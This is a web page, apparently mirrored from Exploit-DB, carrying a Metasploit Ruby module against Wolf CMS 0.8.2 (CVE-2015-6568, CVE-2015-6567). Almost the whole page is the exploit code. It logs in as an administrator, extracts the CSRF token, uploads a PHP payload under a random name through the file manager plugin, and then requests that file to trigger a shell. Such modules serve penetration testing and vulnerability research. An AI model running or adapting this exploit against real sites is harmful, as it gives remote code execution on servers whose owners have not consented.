Wolf CMS 0.8.2 – Arbitrary File Upload (Metasploit)

  • 作者: s0nk3y
    日期: 2016-06-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40004/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize
    super(
    'Name' => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
    'Description'=> %q{
    This module exploits a file upload vulnerability in Wolfcms
    version 0.8.2. This application has an upload feature that 
    allows an authenticated user with administrator roles to upload 
    arbitrary files to the '/public' directory.
    },
    'Author' => [
    'Narendra Bhati', # Proof of concept
    'Rahmat Nurfauzi' # Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2015-6568'], 
    ['CVE', '2015-6567'],
    ['OSVDB','126852'],
    ['EDB', '38000'],
    ],
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Targets'=>
    [
    ['Wolfcms <= 0.8.2', {}]
    ],
    'DisclosureDate' => 'Aug 28 2015',
    'Privileged' => false,
    'DefaultTarget' => 0
    )
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
    OptString.new('USER', [true, 'User to login with', '']),
    OptString.new('PASS', [true, 'Password to login with', '']),
    ], self.class)
    end
    
    def login
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri, "/?/admin/login/login/"),
    'vars_post' => {
    "login[username]" => datastore['USER'],
    "login[password]" => datastore['PASS'],
    "login[redirect]" => "/wolfcms/?/admin"
    }
    })
    return res
    end
    
    def exploit
    
    upload_name = rand_text_alpha(5 + rand(5)) + '.php'
    
    get_cookie = login.get_cookies
    cookie = get_cookie.split(";")[3]
    
    token = send_request_cgi({
    'method' => 'GET',
    'cookie' => cookie,
    'uri'=> normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/") 
    })
    
    html = token.body
    if html =~ /Files/
    print_status("Login successfuly")
    end
    csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first
    
    boundary = Rex::Text.rand_text_hex(28)
    
    data = "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
    data << "\r\n"
    data << csrf_token
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
    data << "/"
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
    data << "Content-Type: text/x-php\r\n"
    data << "\r\n"
    data << payload.encoded
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"commit\"\r\n"
    data << "\r\n"
    data << "Upload\r\n"
    data << "-----------------------------#{boundary}--\r\n\r\n"
    
    print_good("#{peer} - Payload uploaded as #{upload_name}")
    
    res = send_request_cgi({
    'method' => 'POST',
    'data'=> data,
    'headers' =>
    {
    'Content-Type' => 'multipart/form-data; boundary=---------------------------' + boundary,
    'Cookie' => cookie,
    },
    'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/") 
    })
    
    register_file_for_cleanup(upload_name)
    
    print_status("#{peer} - Executing shell...")
    
    send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "public",upload_name),
    })
     
    end
    end